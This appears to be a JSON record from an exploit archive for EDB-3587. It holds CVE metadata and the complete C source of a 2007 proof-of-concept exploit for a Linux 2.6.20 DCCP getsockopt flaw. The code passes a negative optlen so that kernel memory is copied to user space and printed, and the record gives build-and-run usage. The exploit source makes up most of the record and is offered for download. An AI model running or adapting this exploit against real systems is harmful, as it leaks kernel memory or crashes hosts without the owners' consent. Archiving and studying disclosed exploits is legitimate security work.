{"exploit":{"id":"EDB-3587","name":"Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (1)","description":"Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (1)","cves":["CVE-2007-1734","CVE-2007-1730"],"author":"Robert Swiecki","published":"2007-03-27","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3587","path":"exploits/linux/local/3587.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3587.c","vulnerabilities":[{"id":"CVE-2007-1734","state":"PUBLISHED","title":null,"titleSource":null,"description":"The DCCP support in the do_dccp_getsockopt function in net/dccp/proto.c in Linux kernel 2.6.20 and later does not verify the upper bounds of the optlen value, which allows local users running on certain architectures to read kernel memory or cause a denial of service (oops), a related issue to CVE-2007-1730.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1734","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1734"},"updatedAt":"2024-08-07T13:06:26.087Z","retrievedAt":"2026-11-26T15:08:49.162Z","stale":false,"error":null},{"id":"CVE-2007-1730","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer signedness error in the DCCP support in the do_dccp_getsockopt function in net/dccp/proto.c in Linux kernel 2.6.20 and later allows local users to read kernel memory or cause a denial of service (oops) via a negative optlen value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1730","cvss":{"version":"2.0","baseScore":6.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:C/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1730"},"updatedAt":"2024-08-07T13:06:26.111Z","retrievedAt":"2026-11-26T15:08:55.681Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3587.png?v=2","url":"https://exploitbin.com/exploits/EDB-3587","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3587/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3587/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nLinux Kernel DCCP Memory Disclosure Vulnerability\n\nSynopsis:\n\n The Linux kernel is susceptible to a locally exploitable flaw\n which may allow local users to steal data from the kernel memory.\n\nVulnerable Systems:\n\n Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.\n Kernel versions <2.6.20 lack\n DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for\n getsockopt() call with SOL_DCCP level, which are used in the\n delivered POC code.\n\nAuthor:\n\n Robert Swiecki\n http://www.swiecki.net\n robert@swiecki.net\n\nDetails:\n\n The flaw exists in do_dccp_getsockopt() function in\n net/dccp/proto.c file.\n\n-----------------------\nstatic int do_dccp_getsockopt(struct sock *sk, int level, int optname,\n                   char __user *optval, int __user *optlen)\n...\nif (get_user(len, optlen))\n return -EFAULT;\nif (len < sizeof(int))\n  return -EINVAL;\n...\n-----------------------\n\n The above code doesn't check `len' variable for negative values.\n Because of cast typing (len < sizeof(int)) is always true for\n `len' values less than 0.\n\n After that copy_to_user() procedure is called:\n\n-----------------------\nif (put_user(len, optlen) || copy_to_user(optval, &val, len))\n   return -EFAULT;\n-----------------------\n\n What happens next depends greatly on the cpu architecture in-use -\n each cpu architecture has its own copy_to_user() implementation. On\n the IA-32 the code below ...\n\n-----------------------\nunsigned long\ncopy_to_user(void __user *to, const void *from, unsigned long n)\n{\n       BUG_ON((long) n < 0);\n-----------------------\n\n ... will prevent explotation, but kernel will oops due to\n invalid opcode in BUG_ON().\n\n On some other architectures (e.g. x86-64) kernel-space data will\n be copied to the user supplied buffer until end-of-kernel space\n (pagefault in kernel-mode occurs) is reached.\n\nPOC:\n\n----------------------- */\n\n#include <netinet/in.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <net/if.h>\n#include <sys/mman.h>\n#include <linux/net.h>\n\n#define BUFSIZE 0x10000000\n\nint main(int argc, char *argv[])\n{\n       void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,\n                        MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);\n       if (!mem) {\n               printf(\"Cannot allocate mem\\n\");\n               return 1;\n       }\n       /* SOCK_DCCP, IPPROTO_DCCP */\n       int s = socket(PF_INET, 6, 33);\n       if (s == -1) {\n               fprintf(stderr, \"socket failure!\\n\");\n               return 1;\n       }\n       int len = -1;\n       /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */\n       int x = getsockopt(s, 269, 11, mem, &len);\n\n       if (x == -1)\n               perror(\"SETSOCKOPT\");\n       else\n               printf(\"SUCCESS\\n\");\n\n       write(1, mem, BUFSIZE);\n\n       return 0;\n}\n\n//-----------------------\n//make poc; ./poc | strings\n//-----------------------\n\n// milw0rm.com [2007-03-27]","sha256":"f900600090210703577437a143cf31b9445064bfec9f8da0450bbe4773bfb7c2","bytes":2860,"fetchedAt":"2026-11-26T15:08:48.993Z","encoding":"utf-8 (display only; download retains original bytes)"}